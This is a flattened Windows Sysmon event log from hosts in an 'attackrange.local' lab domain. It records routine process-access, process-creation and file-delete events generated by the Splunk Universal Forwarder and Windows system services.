15:11:33.842{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018710Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:33.842{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-75A5-613B-5505-00000000F101}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018709Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:33.842{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-75A5-613B-5505-00000000F101}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018708Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:33.843{625C326B-75A5-613B-5505-00000000F101}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018707Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:33.685{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6302A8ACECD782BC651C9D6FCEF2CB96,SHA256=9B4BD8C0D2CD8C1B6FCD2250C9F005EA797DBEDC61E2894B2E2030BB4845DE54,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018706Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:33.670{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0071B5EE8BF91FE76A357B7B3559986C,SHA256=37670B8E904008361E8E1444B447E1E013EE26BBDB49F6978C84EDD6F42732D0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:33.178{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A3869883E662C8885FA9FA96074165CA,SHA256=F5B3CC087715972702DF84EDC9D86EAB9D65A2CC300F0684356D3CE157C168E5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000018736Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.982{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-75A6-613B-5605-00000000F101}2208C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018735Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018734Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018733Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018732Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018731Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018730Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018729Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018728Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018727Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018726Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.982{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-75A6-613B-5605-00000000F101}2208C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018725Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.982{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-75A6-613B-5605-00000000F101}2208C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018724Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.984{625C326B-75A6-613B-5605-00000000F101}2208C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018723Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.904{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=704616CC31894D736118969B7A5DD17E,SHA256=C2A2ADD9B017E5DF780B72D2F58B4BB27C1CC34290FC4781117CA5D689CFA42B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018722Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.717{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3DF0F05208E5EF0ACD0A095793783179,SHA256=0B84566CD099DE0A2A11142EE435B1E3AF7AD2D25C1267FA068A82CF64CCE3A1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:34.256{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0D0927962ED732E31BAD3F4B35AD163C,SHA256=6AEA1E71B09C6511D6BF7F6BE931CA47926FE48FEFF3F77B8DEA5CBAD7FA2E0C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000018721Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:34.029{625C326B-75A5-613B-5505-00000000F101}25962792C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018765Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.982{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-75A7-613B-5805-00000000F101}1652C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018764Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018763Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018762Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018761Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018760Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018759Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 